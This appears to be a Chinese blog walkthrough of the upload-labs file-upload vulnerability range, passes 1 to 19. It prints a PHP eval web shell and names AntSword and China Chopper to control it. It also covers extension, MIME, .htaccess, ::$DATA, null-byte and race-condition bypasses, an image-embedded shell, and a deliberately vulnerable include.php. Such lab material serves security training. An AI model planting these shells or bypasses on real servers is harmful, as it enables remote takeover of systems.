upload-labs靶场(1-19关)

upload-labs靶场

简介

upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共19关,每一关都包含着不同上传方式。

注意:能运行<?php phpinfo();?>

就能运行<?php eval($_POST['cmd'])?>一句话木马

为了方便只有第一关用了一句话木马。

Pass-01

思路:第一关限制了长传文件的类型,所以在抓包的时候将图片扩展名改成php扩展名即可

image-20240727084800801

步骤一:写一个1.jpg在里面写php代码

image-20240726114010472

步骤二:BP抓包

image-20240726114234296

步骤三:修改filename改成php扩展名

image-20240726114334395

步骤四:查看网站下上传的文件,文件里写的echo "1"所以显示1

image-20240726114434513

我们如果写一句话木马即可控制他的电脑

<?php @eval($_POST['cmd']);?>

使用工具–蚂蚁,中国菜刀

点击添加

image-20240726115247637

双击

image-20240726115339851

连接成功

image-20240726115329078

Ps:其他关就不用一句话木马了。

Pass-02

思路:查看提示看到是在服务端对数据的MIME进行检查,MIME验证就是验证文件的类型。代码种文件类型只能让jpeg,png,gif传入,所以我们的思路就是用burp抓包然后修改文件的类型。

image-20240727085006288

步骤一:抓包修改内容类型位图片类型

image-20240726135339921

步骤三:访问web下上传的文件

image-20240726135225933

Pass-03

思路:第三关禁用.php,这时候我们就要想办法绕过,说黑名单规则不严谨,可以双写php绕过,改成1.phpphp。

也可以写.php3.php5绕过,但某些环境不支持打开php3文件。

image-20240727085207751

image-20240726135933051

直接上传访问php

image-20240726140826298

Pass-04

思路:这题将.php,.php3…这些都禁用了,双写也绕不过去。我们可以上传.htaccess文件,将jpg文件当作php文件执行。

ps:某些环境不支持,在这里我们找的在线靶场http://47.99.132.71:49153/Pass-04/index.php。

image-20240727085400292

phpinfo.jpg


<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

1.htaccess

<FilesMatch 'phpinfo.jpg'>
SetHandler application/x-httpd-php
</FilesMatch>

image-20240727090642046

Pass-05

思路:这关没有转换大小写的代码。

image-20240726154340796

上传一个5.Php文件,直接上传成功

image-20240727090944088

Pass-06

思路:缺少首尾去空限制,但windows文件名最后不能加空格,可以BP抓包修改

image-20240726154946584

image-20240727092814305

image-20240727092829879

Pass-07

思路:本体没有删除文件末尾的点限制,所以在文件后加个点绕过

image-20240727092921234

BP抓包

image-20240727093124760

image-20240727093103444

Pass-08

思路:缺少去除字符串::$DATA

image-20240727093205511

BP抓包

image-20240727093418007

去除URL中的::$DATA

image-20240727093500378

image-20240727093531647

Pass-09

思路:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。

所以我们应该修改文件名为:9.php. .,两个点中间有个空格

image-20240727093812130

BP抓包

image-20240727094021331

image-20240727094034556

Pass-10

思路:本题通过截取文件扩展名,如果截取的扩展名与数组中一样则被拦截。可以通过双写php绕过,写成10.pphphp

image-20240727094243770

image-20240727094541598

Pass-11

思路:本题只允许上传.jpg,.png,.gif,本题考查GET方式%00截断

在处理数据时,当处理到00,就当作处理完成

PHP版本小于5.3

因为实在找不到PHP版本符合的环境,在ctfhub%00截断题目中开了个环境

image-20240727094649216

image-20240727103656440

image-20240727103821123

image-20240727103837677

image-20240727104215475

Pass-12

$_POST['save_path']以POST形式传参时,直接使用%00无法截断,因为POST的数据不会被直接解码,空格会替换成+号,需要手动使用burp中的URL-decode解码。

PHP版本小于5.3

image-20240727104959921

image-20240727105153189

Pass-13

制作一个图片马。

在Windows系统中制作图片马的方法:

(1)随机获得一张图片,这里以如下图片(图片名为cat1.jpg)为例:

猫1

(2)新建一个文本(文本名为cat2.txt),内容为:

<?php phpinfo();?>

注意:cat1.jpg和cat2.txt要在同一个文件目录下。

3)win+r,输入cmd,进入终端,输入如下代码:

cd C:\Users\1\Desktop
copy cat1.jpg/b+cat2.txt/a cat3.jpg

image-20240727110915318

然后需要一个文件包含漏洞

image-20240727111522182

将include.php放到upload文件夹

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

上传做好的图片码,然后在本页面以GET方式提交file=上传至服务端的图片马路径

image-20240727112615781

Pass-14

与Pass-13一样

Pass-15

本pass使用exif_imagetype()检查是否为图片文件!

此Pass需要打开php的exif扩展,否则无法正常交互,关于详细内容,请阅读:PHP exif扩展方法开启详解

image-20240727113235247

其余步骤与Pass-13相同

image-20240727113313217

Pass-16

本pass重新渲染了图片!

需要有一个二次渲染的图片
如下就是一张:
22

图片上传

image-20240727114431566

Pass-17(条件竞争)

提示:需要代码审计!

image-20240727115021145

步骤一:新建一句话木马17.php,代码为:

<?php fputs(fopen('../upload/phpinfo17.php','w'),'<?php phpinfo();?>');?>

只要被成功当作PHP文件解析,就会生成phpinfo17.php 文件

抓包

image-20240727115914769

发送到攻击模块

bp设置无限发送空的Payloads,来让它一直上传该文件

image-20240727120042623

image-20240727121032237

Pass-18

这道题有些问题导致上传的文件传入不进去

在…/upload-labs-env\WWW\Pass-18\myupload.php中修改代码

image-20240727122744637

image-20240727122947328

然后上传一个图片码跟Pass-13一样

image-20240727123647068

Pass-19

空格绕过、点绕过,大小写绕过等等均可。

image-20240727124018471

image-20240727124211821

  • 23
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值